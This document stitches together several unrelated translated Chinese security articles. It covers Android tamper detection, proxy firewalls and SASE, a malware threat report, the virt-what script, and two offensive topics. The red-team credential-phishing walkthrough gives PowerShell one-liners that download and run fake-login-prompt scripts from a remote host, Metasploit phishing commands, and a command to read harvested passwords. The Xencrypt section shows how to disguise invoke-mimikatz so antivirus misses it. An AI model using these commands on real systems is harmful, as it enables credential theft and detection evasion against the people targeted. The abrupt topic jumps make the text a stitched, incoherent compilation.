Android应用程序在上传至Play Sotre之前,开发者需要先使用私钥来对其进行签名。每一个私钥都与一个公共证书进行绑定,而设备和服务都需要利用这个证书来验证应用程序来自一个可信的源。应用程序更新同样依赖于这个签名机制,因为更新程序的签名必须跟已安装App的签名相同,才能完成更新。

然而,在Play Store中发布APK其实是非常简单的。广大开发人员可以通过在根设备中下载APK来获取到APK文件,或者通过网站爬虫的方法来从Play Store中获取同一应用程序的所有不同版本的APK文件。当你拿到APK文件之后,我们就可以通过apktool和反编译器并使用自己的证书来修改这个应用程序,然后对其进行重新封装和打包。

从防御端的角度来看,应用程序开发人员会试图通过检查当前应用程序签名证书是否与目标App所使用的签名证书相同。这确实是一种有效的机制,但其缺点就是需要依赖系统API来获取应用程序签名密钥。在静态分析中,我们可以通过系统API来获取签名证书,并帮助我们定位到需要进行检测的地方,以便更好地实现安全防御。在动态分析中,我们有现成的钩子脚本可以快速绕过应用程序中的这种防御机制。比如说,RASP(运行时应用程序自我保护)就可以提供更好的安全机制来防止这种篡改操作,但在本文中我们对此不做赘述。

在这篇文章中,我们将围绕一种更加有效的检测方式来检查Android应用程序中的篡改行为,并且减少对系统API的依赖。

下面给出的是我们在完成这个任务时所要满足的要求:

1、验证签名证书的哈希值,并将其并将其与C代码中预计算的哈希进行对比;

2、检测存储在源码文件只读区域中修复的源码以及预计算哈希;

3、检测本地代码中的动态篡改(钩子);

验证C代码中签名证书的哈希

用来验证APK签名的签名证书存储在CERT.RSA或CERT.EC之中。在计算CERT.RSA的哈希值时,我们选择使用下面这个OpenSSL命令:

openssl dgst -sha256 CERT.RSA

接下来,将上述命令的输出结果拷贝到native-lib.c的APK_SIGNER_HASH变量值中。为了在程序运行时对APK进行解压并获取CERT.RSA,我这里选择使用开源代码库-libzip【传送门】。接下来,我们需要使用mbedtls库来计算该证书的哈希,然后用它来跟嵌入在本地代码中的APK_SIGNER_HASH来进行对比。如果你不需要修改证书属性的话,你只需要做一次证书哈希对比即可。最好的方法,就是通过解析pkcs7证书来获取公钥,然后对其进行哈希计算。

检测本地代码中的静态和动态篡改

静态篡改指的是代码修复,动态篡改指的是在运行时挂钩本地库。

那么,攻击者如何才能绕过这种签名证书验证/检测机制呢?

1、使用他们自己的开发者证书哈希替换本地源码中的哈希;

2、修改用于新计算哈希和预计算哈希的比对代码,令其永远返回比对成功的结果;

3、在用于新计算哈希和预计算哈希的比对代码处设置钩子指令,令其永远返回比对成功的结果;

我的本地代码就只是一个C文件而已,它依赖于mbedtls来实现加密(HMAC, SHA256),以及libzip静态库来对APK文件进行解压。除此之外,我还编写了一个marker文件来标记文本的起始和结尾处,以及rodata段:

text_start.c

const unsigned char rodata_hash[32] = { dummy values };

const unsigned char rodata_start[] = { 'm','a','r','k','e','r','s','t','a','r','t' };

const void* text_start(){

    return (void *)text_start;

}

text_end.c

const unsigned char rodata_end[] = { 'm','a','r','k','e','r','e','n','d' };

const void* text_end(){

    return (void *)text_end;

}

在代码中,计算本文段以及rodata段的HMAC,然后与预计算的值进行对比。那么,我们如何在代码构建之前获取到文本的HMAC和rodata段的数据呢?现在,HMAC密钥、HMAC文本和rodata HMAC都会以const常量进行声明,而且并非静态const。接下来,在mbedtls、libzip、marker文件以及我自己的C文件的帮助下,我们就可以查看到各个数据段了:

在rodata段中,你可以看到rodata段之前看到rodata HMAC,因为计算出的HMAC不能在rodata段中。

现在,我们的任务只完成了一半。接下来,我们还需要计算文本段和rodata段的HMAC。HMAC用来保证数据的完整性以及真实性。用于实现HMAC注入的代码我选择采用的是Go语言开发,主要是参考了BoringSSL FIPS的实现方式。在injecthash这个Go文件中,会生成一个随机的HMAC密钥,有了这个密钥,我们就能计算文本段和rodata段的HMAC了。

然后,将HMAC密钥、文本段HMAC和rodata段HMAC注入到本地代码中,并移除rodata中的const符号。至此,我们就可以开始检测Android应用程序中的篡改行为了。

验证代码PoC

本文所介绍的机制我们已通过PoC代码实现,并上传到了GitHub上,感兴趣的用户可以自行下载获取。值得一提的是,相同的自完整性检查概念可以适用于具有相似二进制结构的任何应用程序。

PoC验证代码:【点我获取

* 参考来源:darvincitech,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

其实一直以来,基于代理的防火墙或Web代理都被认为是一种非常重要的安全组件。但问题就在于,这种类型的代理针对可以帮助用户保证他们的安全吗?

那么在这篇文章中,我们将对基于代理的防火墙进行讨论,讨论内容将涉及到相关的短板和技术壁垒,并给出新一代的安全解决方案。

第一代基于代理的防火墙实现了控制用户可以访问哪些网站的基本任务。从那个时候开始,这项技术一直都在经历着不断地发展和演变,并且还增添了类似恶意软件检测和拦截、在线数据丢失防御(DLP)、SSL/TLS流量检查和带宽控制等强大且实用的功能。

但现实就在于,Web代理存在着明显的缺陷,而这些明显的安全缺陷导致基于代理的防火墙或Web代理最终无法成为有效的安全防护工具。

接下来,我们将从以下几个方面来对基于代理的防火墙或Web代理进行探讨。

一、实现

由于基于代理的防火墙其实现方式以及具体的技术实现细节,导致了它无法成功地保护目标设备中所有的网络流量。在云端部署一个基于代理的防火墙时,最常用的技术就是使用代理自动配置(PAC)文件或在用户的操作系统和浏览器设置中显式地指定代理服务器地址。

PAC文件可以使用JavaScript函数来确定通过显式指定的代理服务器或直接向Internet所发送流量的位置。在这里,显式代理部署主要通过代理服务器发送所有浏览器流量。

这两种部署方式的主要问题就在于:

1、并非所有的应用程序都是代理可识别的,有些应用程序会忽略代理服务器的相关系统配置,并且总是会绕过代理然后直接发送它们的网络流量。

2、有些聪明的用户会选择使用VPN、服务器端浏览器(如Puffin浏览器)、匿名和加密浏览器(如Tor浏览器)或其他方法轻松绕过代理服务器。

二、效率

从设计之初,基于代理的防火墙压根就不是用来面对和处理现代安全威胁的,因为它们只能检查有限的协议,如HTTP、HTTPS、FTP和DNS。这意味着,仅仅使用Web代理的话,将有可能导致通信流量中出现明显的扫描检测盲点,并且无法识别非标准端口上的或跨多个协议的应用程序和安全威胁。除此之外,有些应用程序根本就不兼容代理,所以肯定会被绕过。

一种新的方法-安全访问服务边缘(SASE)

Secure access service edge (SASE),即安全访问服务边缘模型,它可以给用户提供对Internet、SaaS应用程序和私有托管应用程序的完全零信任访问,而这种模型方案正逐渐成为解决传统Web代理技术短板的一种全新的解决方案。一个真正的SASE解决方案结合了从云端提供的网络服务和安全服务,这种方案将涵盖多种技术,例如云访问安全代理(CASB)、零信任网络访问(ZTNA)、防火墙即服务(FWaaS)和高级威胁预防等等。

SASE产品在云环境中运行,允许我们对用户流量进行更多的控制,而且可见性更加高,以便开发人员对其进行动态扩展。因此,SASE允许在单一节点和分支中使用多种技术,如IPSec或SSL VPN,从而允许我们对所有流量进行从始至终的安全强制管理。接下来,操作策略就变成了业务决策,而不是由于技术限制所被迫做出的妥协。

选择一个基于云的安全合作伙伴并不是一个随便拍拍脑袋就可以做的决定,在购买服务之前我们应该仔细考虑任何可能的技术、方法、规模和有效性。因此,我们应该选择的是那些能够为组织中所有流量、所有用户和所有应用程序提供必要安全性和网络服务的解决方案。

* 参考来源:paloaltonetworks,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

在Windows环境中,当程序执行时经常会需要用户输入自己的域凭证来实现身份验证,或者说在触发用户账号控制时要求用户输入凭证来实现授权或提权,这种情况是很常见的。通过模仿Windows的这种行为,研究人员将有可能获取到Windows用户的凭证数据,而这些凭证后续将有可能被用于红队安全评估过程中的横向移动/渗透。

C#方法

现代红队技术有很多都需要依赖于C#语言来实现,因为这种语言的特性之一就是允许类似Cobalt Strike和Covenant之类的框架来在内存中执行代码。FakeLogonScreen是一款采用C#开发的Windows实用程序,该工具可以伪造Windows登录界面并尝试从当前用户身上获取凭证密码。

该工具能够显示当前设备所配置的登录界面背景,这样可以降低用户的防范意识,以成功实现恶意操作。

当用户在伪造的登录界面输入了自己的密码之后,该工具将会对用户输入的密码进行验证以确保密码的正确性。此时,密码将会显示在攻击者的命令控制台中。

项目中的二级代码可以将获取到的凭证存储到目标设备本地磁盘中的user.db文件中,我们可以执行下列命令来从中读取出包含的域用户凭证:

type C:\Users\pentestlab.PENTESTLAB\AppData\Local\Microsoft\user.db

当然了,社区还有一个名叫SharpLocker的类似工具,该工具由Matt Pickford开发,它也可以伪造Windows的用户登录界面。

用户在此界面上输入的每一个键盘击键信息都可以直接在命令控制台中显示出来:

PowerShell方法

Windows安全输入提示非常常见,因为公司环境中的应用程序可能会定期要求用户进行身份验证。Microsoft outlook是一种通常在域环境中执行凭据请求的产品。CredsLeaker这款软件可以尝试模拟Windows的安全提示,它可以使用Web服务器来将用户输入的凭证密码以文件的形式进行存储,并利用PowerShell来调用HTTP请求。其中,PowerShell命令可以直接通过BAT文件来调用和执行。

run.bat

在执行BAT文件之前,我们需要修改配置负责存储配置文件、PHP以及PowerShell文件的Web服务器。当BAT文件执行后,将会弹出Windows安全窗口并显示给用户。

该工具会对获取到的凭证进行验证,只有当用户提供正确的密码时,安全弹窗才会消失,域、主机名、用户名和密码将写入以下位置。

/var/www/html/creds.txt

Matt Nelson开发了一个PowerShell脚本,它能够生成一个可以验证凭证是否有效的输入弹窗,并且只有当输入凭证正确时弹窗才会关闭。该脚本可以通过远程执行,并在命令控制台中显示凭证。

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt

Nishang框架同样包含了一个能够创建伪造输入弹窗的PowerShell脚本

输入弹窗将包含一条消息,告诉用户执行此操作需要凭据。更具安全意识的用户可能会发现某些内容已在后台执行了,但攻击操作不会同时对所有公司用户执行。

当用户的凭据输入到Windows框中时,这些凭据将在命令控制台中显示。

或者,我们也可以从远程位置执行该脚本以绕过检测。

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-CredentialsPhish/ps1')); Invoke-CredentialsPhish

Metasploit方法

Metasploit Framework有一个模块,它可以在特定进程或任意进程创建时生成一个输入弹窗,该模块必须跟一个现有的Meterpreter会话绑定。

use post/windows/gather/phish_windows_credentials

set SESSION 3

set PROCESS *

run

通配符*指示模块监视系统上运行的所有进程,并等待新实例启动,以便向用户显示伪造的输入提示。

输入提示将作为进程的凭证请求显示给用户。

当用户输入他的凭据时,这些凭据将被捕获并显示在控制台中。

或者,可以将模块配置为仅监视特定进程的创建。

BASH方法

Lockphish这款工具同样能够伪造Windows登录界面并帮助攻击者执行钓鱼攻击,相关的伪造模板需要托管在PHP服务器中。

bash lockphish.sh

为了诱骗用户点击登录界面中的按钮或链接,攻击者还需要配合社会工程学技术。

此时,工具会在需要管理员帐户密码的用户界面上显示一个伪造的登录界面。但是与其他工具相比,这个工具所伪造的界面密码字段有些对不整齐。

一旦用户输入他的凭据,工具就会将用户重定向到YouTube网站。

此时,用户输入的凭证将会显示在控制台中。

参考资料

1、https://attack.mitre.org/techniques/T1141/

2、https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

3、https://github.com/enigma0x3/Invoke-LoginPrompt

4、https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1

5、https://github.com/bitsadmin/fakelogonscreen

6、https://github.com/Pickfordmatt/SharpLocker

7、https://malicious.link/post/2015/powershell-popups-and-capture/

8、https://github.com/Dviros/CredsLeaker

9、https://github.com/thelinuxchoice/lockphish

* 参考来源:pentestlab,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

想必安全行业内的从业人员都知道,每年2月份的第二个星期二,是国际互联网安全日。那么对于我们这些安全研究人员来说,除了对最新型恶意软件、漏洞利用PoC、PUP、网站威胁和数据隐私进行分析和研究之外,我们还能做什么来表达我们对这个节日的敬意呢?没错,为了充分应景,Malwarebytes Labs发布了关于恶意软件威胁态势的年度研究成果-《2020年恶意软件威胁态势报告》。毫无疑问,恶意软件对于我们来说每年都是灾难。

针对企业的安全威胁,到黑客技术以及隐蔽技术的多样化和复杂化,2019年的威胁态势是由网络犯罪行业塑造的,而这个行业的不断发展和壮大,毫无疑问会使2020年的网络安全状况更加严峻。

《2020年恶意软件威胁态势报告》中提供的数据集,是由Malwarebytes的安全威胁分析师以及研究人员从产品遥测数据、蜜罐、威胁情报以及他们对2019年网络犯罪活动的调查结果中收集到的,为了收集报告数据,研究人员还专门分析了2019年对消费者和企业造成最大威胁的网络安全犯罪活动。

Malwarebytes Labs的分析成果不仅包括针对macOS、Windows PC、Android和iOS平台的安全威胁,而且还包括针对浏览器的网络攻击。除此之外,研究人员还对全球特定地区以及行业的消费者以及企业威胁进行了研究和检测。最后,报告还回顾了2019年的数据隐私状况,其中包括州和联邦立法,以及一些大型科技公司在与其他公司前瞻性政策并列一致的情况下的数据隐私保护失败案例

下面是报告中发现的一些重点内容:

1、与针对Windows PC的恶意软件安全威胁相比,针对macOS的威胁呈指数级增长。虽然针对macOS的威胁总体数量同比增长超过400%,但这一数字在一定程度上是因为2019年macOS用户群中Malwarebytes用户数量的增长。但如果按照每一个威胁端点来计算的话,针对macOS的威胁增长速度仍然是Windows的一倍。

2、全球针对商业终端的恶意软件安全威胁数量同比增长了13%,其中其中攻击性广告软件、特洛伊木马和黑客工具居首位。

3、各大组织再次受到了EmotetTrickBot的攻击和影响,这两个木马病毒(僵尸网络)几乎出现在了全球每个地区排名前五的网络威胁之中。除此之外,服务行业、零售行业和教育行业也出现了它们两位的身影。特别需要注意的是,TrickBot的检测量相比去年来说增长了50%以上。

4、针对商业领域的新型勒索软件活动创下了有史以来的新高,与此同时,类似Ryuk和Sodinokibi这样的恶意软件检测量也相应地有543%和820%的增长。

如果你想了解更多2020年macOS、Windows、Android、Web以及数据隐私方面的威胁态势,或者你想了解2020年商业以及立法方面的网络安全内容,可以点击【这里】阅读完整的《2020年恶意软件威胁态势报告》。

* 参考来源:malwarebytes,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM 

写在前面的话

如果我有一台基于云的虚拟机,并且运行了Ubuntu或CentOS的Linux服务器系统,而这些设备可能是虚拟化的,也可能不是虚拟化的,那我们应该如何去判断这台Linux Guest系统设备使用的是哪种虚拟化技术(VMWARE/ KVM/ XEN/ VirtualBox/ Container/lxc/Hyper-V等等)呢?那我们如何才能识别一台CentOS 7 Linux VPS所使用的虚拟化技术类型呢?

技术分析

我们需要使用virt-what程序(一个Shell脚本)来检测目标设备系统所使用的虚拟化技术类型,它可以打印出每一条关于目标设备虚拟化技术的相关信息。在这篇文章中,我们将介绍如何去判断Linux Guest VM虚拟化技术类型。

判断Linux Guest VM虚拟化技术类型

正如我们刚才说的,我们需要使用virt-what Linux命令来判断一个程序当前是否在一台虚拟机设备上运行。该脚本支持各种虚拟机管理程序,接下来,我们看看如何在不同的Linux发行版系统中安装virt-what。

Debian或Ubuntu Linux安装

首先,运行下列apt命令/apt-get命令:

$ sudo apt-get install virt-what

或者

$ sudo apt install virt-what

在RHEL/CentOS/Scientific Linux VM中安装virt-what

我们可以使用yum命令完成安装:

$ sudo yum install virt-what

Fedora Linux VM安装virt-what来检测当前环境是否为虚拟机环境

执行dnf命令:

$ sudo dnf install virt-what

Suse/OpenSUSE安装

运行zypper命令:

sudo zypper in virt-what

判断远程服务器是否为虚拟机环境

我们可以直接输入并运行下列命令:

$ $ sudo virt-what

xen

xen-domU

输出结果:

$ $ sudo virt-what

kvm

其他输出结果:

$ $ sudo virt-what

lxc

下面给出的是AWS返回的结果:

$ sudo virt-what

xen

xen-hvm

aws

其他可能的值

1、hyperv : 这是微软的Hyper-V管理程序;

2、parallels : 访客用户正在Parallels虚拟平台(Parallels Desktop、Parallels Server)中运行;

3、powervm_lx86 : 访客用户正在IBM powervm lx86 Linux/x86模拟器中运行;

4、qemu : 这是使用软件模拟技术的QEMU管理程序;

5、virtualpc : 访客用户正在微软VirualPC上运行;

6、xen-hvm : 这是一个Xen Guest完全虚拟化平台(HVM);

7、uml : 这是一个用户模式Linux(UML)客户机;

8、openvz : 访客用户正在OpenVZ或Virtuozzo容器中运行;

9、linux_vserver : 此进程正在Linux VServer容器中运行;

10、ibm_systemz : 这是一个IBM SystemZ硬件分区系统;

如果没有任何输出结果,那意味着我们的程序可能是在裸机上运行的,或者程序是在一种我们无法检测到的虚拟机系统中运行的。

检测脚本源代码

下面给出的是脚本的源代码:

#!/bin/sh -

# virt-what.  Generated from virt-what.in by configure.

# Copyright (C) 2008-2017 Red Hat Inc.

#

# This program is free software; you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation; either version 2 of the License, or

# (at your option) any later version.

#

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

# GNU General Public License for more details.

#

# You should have received a copy of the GNU General Public License

# along with this program; if not, write to the Free Software

# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

# 'virt-what' tries to detect the type of virtualization being

# used (or none at all if we're running on bare-metal).  It prints

# out one or more lines each being a 'fact' about the virtualization.

#

# Please see also the manual page virt-what(1).

# This script should be run as root.

#

# The following resources were useful in writing this script:

# . http://dmo.ca/blog/detecting-virtualization-on-linux/

# Do not allow unset variables, and set defaults.

set -u

root=''

skip_qemu_kvm=false

skip_lkvm=false

VERSION="1.20"

have_cpuinfo () {

    test -e "${root}/proc/cpuinfo"

}

use_sysctl() {

    # Lacking /proc, on some systems sysctl can be used instead.

    OS=$(uname) || fail "failed to get operating system name"

    [ "$OS" = "OpenBSD" ]

}

fail () {

    echo "virt-what: $1" >&2

    exit 1

}

usage () {

    echo "virt-what [options]"

    echo "Options:"

    echo "  --help          Display this help"

    echo "  --version       Display version and exit"

    exit 0

}

# Handle the command line arguments, if any.

while test $# -gt 0; do

    case "$1" in

        --help) usage ;;

        --test-root=*)

            # Deliberately undocumented: used for 'make check'.

            root=$(echo "$1" | sed 's/.*=//')

            shift 1

            test -z "$root" && fail "--test-root option requires a value"

            ;;

        -v|--version) echo "$VERSION"; exit 0 ;;

        --) shift; break ;;

        *) fail "unrecognized option '$1'";;

    esac

done

test $# -gt 0 && fail "extra operand '$1'"

# Add /sbin and /usr/sbin to the path so we can find system

# binaries like dmidecode.

# Add /usr/libexec to the path so we can find the helper binary.

prefix=/usr/local

exec_prefix=${prefix}

PATH="${root}${exec_prefix}/libexec:${root}/sbin:${root}/usr/sbin:${PATH}"

export PATH

# Check we're running as root.

EFFUID=$(id -u) || fail "failed to get current user id"

if [ "x$root" = "x" ] && [ "$EFFUID" -ne 0 ]; then

    fail "this script must be run as root"

fi

# Try to locate the CPU-ID helper program

CPUID_HELPER=$(which virt-what-cpuid-helper 2>/dev/null)

if [ -z "$CPUID_HELPER" ] ; then

    fail "virt-what-cpuid-helper program not found in \$PATH"

fi

# Many fullvirt hypervisors give an indication through CPUID.  Use the

# helper program to get this information.

cpuid=$(virt-what-cpuid-helper)

# Check for various products in the BIOS information.

# Note that dmidecode doesn't exist on all architectures.  On the ones

# it does not, then this will return an error, which is ignored (error

# message redirected into the $dmi variable).

dmi=$(LANG=C dmidecode 2>&1)

# Architecture.

# Note for the purpose of testing, we only call uname with -m option.

arch=$(uname -m | sed -e 's/i.86/i386/' | sed -e 's/arm.*/arm/')

# Check for VMware.

# cpuid check added by Chetan Loke.

if [ "$cpuid" = "VMwareVMware" ]; then

    echo vmware

elif echo "$dmi" | grep -q 'Manufacturer: VMware'; then

    echo vmware

fi

# Check for Hyper-V.

http://blogs.msdn.com/b/sqlosteam/archive/2010/10/30/is-this-real-the-metaphysics-of-hardware-virtualization.aspx

if [ "$cpuid" = "Microsoft Hv" ]; then

    echo hyperv

fi

# Check for VirtualPC.

# The negative check for cpuid is to distinguish this from Hyper-V

# which also has the same manufacturer string in the SM-BIOS data.

if [ "$cpuid" != "Microsoft Hv" ] &&

    echo "$dmi" | grep -q 'Manufacturer: Microsoft Corporation'; then

    echo virtualpc

fi

# Check for VirtualBox.

# Added by Laurent Léonard.

if echo "$dmi" | grep -q 'Manufacturer: innotek GmbH'; then

    echo virtualbox

fi

# Check for bhyve.

if [ "$cpuid" = "bhyve bhyve " ]; then

  echo bhyve

elif echo "$dmi" | grep -q "Vendor: BHYVE"; then

  echo bhyve

fi

# Check for OpenVZ / Virtuozzo.

# Added by Evgeniy Sokolov.

# /proc/vz - always exists if OpenVZ kernel is running (inside and outside

# container)

# /proc/bc - exists on node, but not inside container.

if [ -d "${root}/proc/vz" -a ! -d "${root}/proc/bc" ]; then

    echo openvz

fi

# Check for LXC containers

http://www.freedesktop.org/wiki/Software/systemd/ContainerInterface

# Added by Marc Fournier

if [ -e "${root}/proc/1/environ" ] &&

    cat "${root}/proc/1/environ" | tr '\000' '\n' | grep -Eiq '^container='; then

    echo lxc

fi

# Check for Linux-VServer

if test -e "${root}/proc/self/status" \

   && cat "${root}/proc/self/status" | grep -q "VxID: [0-9]*"; then

    echo linux_vserver

    if grep -q "VxID: 0$" "${root}/proc/self/status"; then

        echo linux_vserver-host

    else

        echo linux_vserver-guest

    fi

fi

# Check for UML.

# Added by Laurent Léonard.

if have_cpuinfo && grep -q 'UML' "${root}/proc/cpuinfo"; then

    echo uml

fi

# Check for IBM PowerVM Lx86 Linux/x86 emulator.

if have_cpuinfo && grep -q '^vendor_id.*PowerVM Lx86' "${root}/proc/cpuinfo"

then

    echo powervm_lx86

fi

# Check for Hitachi Virtualization Manager (HVM) Virtage logical partitioning.

if echo "$dmi" | grep -q 'Manufacturer.*HITACHI' &&

   echo "$dmi" | grep -q 'Product.* LPAR'; then

    echo virtage

fi

# Check for IBM SystemZ.

if have_cpuinfo && grep -q '^vendor_id.*IBM/S390' "${root}/proc/cpuinfo"; then

    echo ibm_systemz

    if [ -f "${root}/proc/sysinfo" ]; then

        if grep -q 'VM.*Control Program.*KVM/Linux' "${root}/proc/sysinfo"; then

            echo ibm_systemz-kvm

        elif grep -q 'VM.*Control Program.*z/VM' "${root}/proc/sysinfo"; then

            echo ibm_systemz-zvm

        elif grep -q '^LPAR' "${root}/proc/sysinfo"; then

            echo ibm_systemz-lpar

        else

            # This is unlikely to be correct.

            echo ibm_systemz-direct

        fi

    fi

fi

# Check for Parallels.

if echo "$dmi" | grep -q 'Vendor: Parallels'; then

    echo parallels

    skip_qemu_kvm=true

fi

# Check for oVirt/RHEV.

if echo "$dmi" | grep -q 'Manufacturer: oVirt'; then

    echo ovirt

fi

if echo "$dmi" | grep -q 'Product Name: RHEV Hypervisor'; then

    echo rhev

fi

# Check for Xen.

if [ "$cpuid" = "XenVMMXenVMM" ] &&

    ! echo "$dmi" | grep -q 'No SMBIOS nor DMI entry point found, sorry'; then

    echo xen; echo xen-hvm

    skip_qemu_kvm=true

elif [ -d "${root}/proc/xen" ]; then

    echo xen

    if grep -q "control_d" "${root}/proc/xen/capabilities" 2>/dev/null; then

        echo xen-dom0

    else

        echo xen-domU

    fi

    skip_qemu_kvm=true

    skip_lkvm=true

elif [ -f "${root}/sys/hypervisor/type" ] &&

    grep -q "xen" "${root}/sys/hypervisor/type"; then

    # Ordinary kernel with pv_ops.  There does not seem to be

    # enough information at present to tell whether this is dom0

    # or domU.  XXX

    echo xen

elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then

    if [ -d "${root}/proc/device-tree/hypervisor" ] &&

        grep -q "xen" "${root}/proc/device-tree/hypervisor/compatible"; then

        echo xen

        skip_qemu_kvm=true

        skip_lkvm=true

    fi

elif [ "$arch" = "ia64" ]; then

    if [ -d "${root}/sys/bus/xen" -a ! -d "${root}/sys/bus/xen-backend" ]; then

        # PV-on-HVM drivers installed in a Xen guest.

        echo xen

        echo xen-hvm

    else

        # There is no virt leaf on IA64 HVM.  This is a last-ditch

        # attempt to detect something is virtualized by using a

        # timing attack.

        virt-what-ia64-xen-rdtsc-test > /dev/null 2>&1

        case "$?" in

            0) ;; # not virtual

            1) # Could be some sort of virt, or could just be a bit slow.

                echo virt

        esac

    fi

fi

# Check for QEMU/KVM.

#

# Parallels exports KVMKVMKVM leaf, so skip this test if we've already

# seen that it's Parallels.  Xen uses QEMU as the device model, so

# skip this test if we know it is Xen.

if ! "$skip_qemu_kvm"; then

    if [ "$cpuid" = "KVMKVMKVM" ]; then

        echo kvm

    elif [ "$cpuid" = "TCGTCGTCGTCG" ]; then

        echo qemu

        skip_lkvm=true

    elif echo "$dmi" | grep -q 'Product Name: KVM'; then

        echo kvm

        skip_lkvm=true

    elif echo "$dmi" | grep -q 'Manufacturer: QEMU'; then

        # The test for KVM above failed, so now we know we're

        # not using KVM acceleration.

        echo qemu

        skip_lkvm=true

    elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then

        if [ -d "${root}/proc/device-tree" ] &&

            ls "${root}/proc/device-tree" | grep -q "fw-cfg"; then

            # We don't have enough information to determine if we're

            # using KVM acceleration or not.

            echo qemu

            skip_lkvm=true

        fi

    elif [ -d ${root}/proc/device-tree/hypervisor ] &&

         grep -q "linux,kvm" /proc/device-tree/hypervisor/compatible; then

        # We are running as a spapr KVM guest on ppc64

        echo kvm

        skip_lkvm=true

    elif use_sysctl; then

        # SmartOS KVM

        product=$(sysctl -n hw.product)

        if echo "$product" | grep -q 'SmartDC HVM'; then

            echo kvm

        fi

    else

        # This is known to fail for qemu with the explicit -cpu

        # option, since /proc/cpuinfo will not contain the QEMU

        # string. QEMU 2.10 added a new CPUID leaf, so this

        # problem only triggered for older QEMU

        if have_cpuinfo && grep -q 'QEMU' "${root}/proc/cpuinfo"; then

            echo qemu

        fi

    fi

fi

if ! "$skip_lkvm"; then

    if [ "$cpuid" = "LKVMLKVMLKVM" ]; then

        echo lkvm

    elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then

        if [ -d "${root}/proc/device-tree" ] &&

            grep -q "dummy-virt" "${root}/proc/device-tree/compatible"; then

            echo lkvm

        fi

    fi

fi

# Check for Docker.

if [ -f "${root}/.dockerinit" ]; then

    echo docker

fi

# Check ppc64 lpar, kvm or powerkvm

# example /proc/cpuinfo line indicating 'not baremetal'

# platform  : pSeries

#

# example /proc/ppc64/lparcfg systemtype line

# system_type=IBM pSeries (emulated by qemu)

if [ "$arch" = "ppc64" ] || [ "$arch" = "ppc64le" ] ; then

    if have_cpuinfo && grep -q 'platform.**pSeries' "${root}/proc/cpuinfo"; then

        if grep -q 'model.*emulated by qemu' "${root}/proc/cpuinfo"; then

                echo ibm_power-kvm

        else

            # Assume LPAR, now detect shared or dedicated

            if grep -q 'shared_processor_mode=1' "${root}/proc/ppc64/lparcfg"; then

                echo ibm_power-lpar_shared

            else

                echo ibm_power-lpar_dedicated

            fi

        # detect powerkvm?

        fi

    fi

fi

# Check for OpenBSD/VMM

if [ "$cpuid" = "OpenBSDVMM58" ]; then

        echo vmm

fi

# Check for LDoms

if [ "${arch#sparc}" != "$arch" ] && [ -e "${root}/dev/mdesc" ]; then

    echo ldoms

    if [ -d "${root}/sys/class/vlds/ctrl" ] && \

             [ -d "${root}/sys/class/vlds/sp" ]; then

        echo ldoms-control

    else

        echo ldoms-guest

    fi

    MDPROP="${root}/usr/lib/ldoms/mdprop.py"

    if [ -x "${MDPROP}" ]; then

        if [ -n "$($MDPROP -v iodevice device-type=pciex)" ]; then

            echo ldoms-root

            echo ldoms-io

        elif [ -n "$($MDPROP -v iov-device vf-id=0)" ]; then

            echo ldoms-io

        fi

    fi

fi

# Check for AWS.

# AWS on Xen.

if echo "$dmi" | grep -q 'Version: [0-9]\.[0-9]\.amazon'; then

    echo aws

# AWS on baremetal or KVM.

elif echo "$dmi" | grep -q 'Vendor: Amazon EC2'; then

    echo aws

fi

如何使用dmidecode命令来寻找相同的信息

配合Bash for循环并使用dmidecode命令判断目标虚拟化技术:

for i in system-manufacturer system-product-name

do 

  sudo dmidecode -s $i

done

样本输出:

Red Hat

KVM

其他用来判断虚拟化技术的命令

我们还可以使用systemd-detect-virt命令来检测虚拟化环境:

systemd-detect-virt

资源获取

1、virt-what:【点我获取

2、Bash for循环:【参考文档

3、yum命令:【参考文档

4、apt命令:【参考文档

5、apt-get命令:【参考文档

* 参考来源:cyberciti,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Xencrypt

今天给大家介绍的这款工具名叫Xencrypt,它是一款基于PowerShell脚本实现的反病毒绕过工具。如果你不想花时间对类似invoke-mimikatz这样的PowerShell脚本进行混淆处理以避免其被检测到的话,那么Xencrypt就是你的最佳选择了。Xencrypt能够自动对目标脚本代码进行处理,并且可以生成近乎无限量的变种代码,以帮助研究人员绕过基于签名机制的反病毒检测产品。

从本质上来说,Xencrypt是一款PowerShell代码加密工具,它使用了AES加密算法以及Gzip/DEFLATE压缩算法来对目标脚本代码进行处理,并生成一个完全不同的脚本,但功能却一模一样。首先,它会对输入的脚本代码进行加密和压缩,然后将脚本数据以Payload的形式存储在新的脚本中,而这个新的脚本Payload在运行之前是无法被解密或解压的。

功能介绍

当前版本的Xencrypt拥有以下几种强大的功能:

1、绕过AMSI以及VirusToal上目前所使用的所有现代反病毒检测引擎;

2、压缩和加密PowerShell脚本;

3、资源消耗和开销非常小;

4、使用随机化变量名以进一步实现混淆处理;

5、随机化加密和压缩,还可以调整语句在代码中的顺序,以获得最大熵;

6、可根据用户需求自行修改并创建自己的密码器变种;

7、支持递归分层加密,最多可支持500层加密;

8、支持Import-Module以及标准方式来运行;

9、GPLv3-开源许可证协议;

10、所有的功能都以单一文件实现,最大程度实现灵活性;

工具使用

广大研究人员可以直接使用下列命令来生成加密和压缩处理后的新脚本:

Import-Module ./xencrypt.ps1

Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

